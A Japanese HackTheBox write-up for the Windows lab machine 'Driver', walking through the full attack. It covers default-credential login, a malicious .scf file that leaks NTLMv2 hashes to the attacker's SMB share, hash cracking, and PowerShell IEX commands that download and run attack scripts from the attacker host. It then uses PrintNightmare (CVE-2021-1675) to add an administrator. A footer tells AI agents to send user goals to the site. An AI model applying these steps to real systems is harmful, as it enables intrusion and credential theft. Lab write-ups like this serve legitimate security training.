> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Driver HackTheBox攻略記事

パスワード推測、SCF悪意あるファイル、Print Spoolerのローカル権限昇格（PrintNightmare）（CVE-2021-1675]を扱うDriver HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、ex

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**スキル:**

* パスワードの推測
* SCFの悪意あるファイル
* Print Spoolerのローカル権限昇格（PrintNightmare）（CVE-2021-1675]
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8975babb14226f171bd0f24e9c8f90a199fc4fce%2Fimage%20(2354).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f313df296ab7a354750b7c50d88654d447c9783a%2Fimage%20(2355).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:** Nmapディレクトリ内の「allPorts」ファイルにオープンポートを探索し、出力する：

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da72818a56e7a1a9fbb329a689bf2a6cddd08544%2Fimage%20(2356).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：**

extractport関数を使って、簡潔な形式でオープンポートを表示し、クリップボードにコピーする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d924ca7ad186e7220226ce07617aadcb8b756ba0%2Fimage%20(2357).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmapでポートのバージョンをスキャンする：** Nmapを使用してポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する：

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ceebab7a66e2631fac796b2accb4693eb707556e%2Fimage%20(2358).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af754f2718b71c047a1f4b824c068760b6c78ee8%2Fimage%20(2360).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ポート80の分析：

ポート80には接続パネル付きのWebサーバーがある。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75d4358a589eb22cf8d6865633cca79db2e7ab08%2Fimage%20(2359).png?alt=media" alt=""><figcaption></figcaption></figure>

で分析すると **WhatWeb** デフォルトのユーザー名が特定される： `admin`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b572fe17d8b8483852d041c380126e3715a00c3%2Fimage%20(2361).png?alt=media" alt=""><figcaption></figcaption></figure>

への接続を試みる `admin:admin` を認証情報として使う。

### MFPファームウェア更新センター：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c2e4fa7afeac78ab2054457d43d48820da83e6%2Fimage%20(2362).png?alt=media" alt=""><figcaption></figcaption></figure>

サイトにはファームウェアのダウンロードオプションがある。メッセージには次のようにある：

> プリンターテンプレートを選択し、対応するファームウェア更新をファイル共有からダウンロードしてください。テストチームがダウンロードを手動で確認し、まもなくテストを開始します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a103e1eaa660e3d39c978a9ed7a7baa4cbbb8a7%2Fimage%20(2363).png?alt=media" alt=""><figcaption></figcaption></figure>

## エクスプロイト - SCFの悪意あるファイル：

悪意ある `.scf` ファイルを作成して、ユーザーが開いたときにNTLMv2を取得する：

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

で待ち受ける **impacket** してNTLMv2を取得する：

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

ユーザー `tony`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8da4df51c2563ba56afa6c970633def0b257d19%2Fimage%20(2366).png?alt=media" alt=""><figcaption></figcaption></figure>

でNTLMハッシュをクラックする **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b50cf05df25f3efb5bf2c48fe685df54937bdd0%2Fimage%20(2367).png?alt=media" alt=""><figcaption></figcaption></figure>

## SMBおよびWinRM接続：

**アクセス確認** をCrackMapExecで：

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfa4134b21fbc453f0db0b7a4d19fe00bb208d31%2Fimage%20(2368).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* 接続をCrackMapExecで：

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47a8d2ad16655c87e7afe516d3c54d4da60cba74%2Fimage%20(2369).png?alt=media" alt=""><figcaption></figcaption></figure>

**Evil-WinRMで制御を奪取**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txtフラグ：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58369233b64ac4df1618b57bfdb777fca6884d52%2F%7B83DBB4B7-3735-441E-BAEC-536EB7A44ACD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

### **1. PowerUpによる列挙：**

* ダウンロード中の **PowerUp.ps1** スクリプトを攻撃マシン上に配置し、末尾に `Invoke-AllChecks` コマンドを追加して、すべてのチェックを開始する。

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

PythonのHTTPサーバー経由でスクリプトを被害マシンに転送する：

```bash
python3 -m http.server 80
```

対象マシンでの実行：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **結果**：該当する項目は見つからなかった。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e7f25b980206f6008a8d7a66adf0f03ea938545%2Fimage%20(1179).png?alt=media" alt=""><figcaption></figcaption></figure>

### **2. winPEASによる列挙：**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

ツールの転送 **winPEASx64.exe** を被害マシンへ：

`upload winPEASx64.exe`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db7b8bc1487a3b5d3e72148f7c7f5fb9177b2019%2Fimage%20(1180).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba43ece935e8c3f122dafd0f35e29563b01bf865%2Fimage%20(1181).png?alt=media" alt=""><figcaption></figcaption></figure>

## **PrintNightmareのエクスプロイト（CVE-2021-1675）**

脆弱な **spoolsv** プロセスが検出され、TCPポートで待ち受けている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7758f2014f5d29c3d5e3c9cc95202fee368cf30%2Fimage%20(1182).png?alt=media" alt=""><figcaption></figcaption></figure>

GitHubで公開されているPrintNightmare用のエクスプロイトスクリプトを使用する。

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8357b9d6b652d259f51df09283909a51a1dd2e37%2Fimage%20(1184).png?alt=media" alt=""><figcaption></figcaption></figure>

実行するコマンドは次のとおり：

1. **スクリプトの転送** Windows Defenderによるブロックを避けるため：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **管理者ユーザーの作成** という名前の `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b59ad3640cd6e10b5da34ea29a6b553d594efb%2Fimage%20(1185).png?alt=media" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **状態**: `jordan` ユーザーは現在管理者グループに入っている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a853ac3f31ce52365a4a213bc231b7ddcbfa48c%2Fimage%20(1187).png?alt=media" alt=""><figcaption></figcaption></figure>

### 管理者権限での接続

WinRMを使ったマシン接続： **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce5c738fcc46f4d5e63cf09f401039efcf4571d6%2Fimage%20(1186).png?alt=media" alt=""><figcaption></figcaption></figure>

### rootのフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b75823455d97d446599d2996c5be8342cf131a5c%2Fimage%20(1188).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f16b306249b5b417cd48781dbfd4ae868bb2757a%2F%7B4038B3C8-9E7D-4907-9CE6-B5E611D5FA88%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
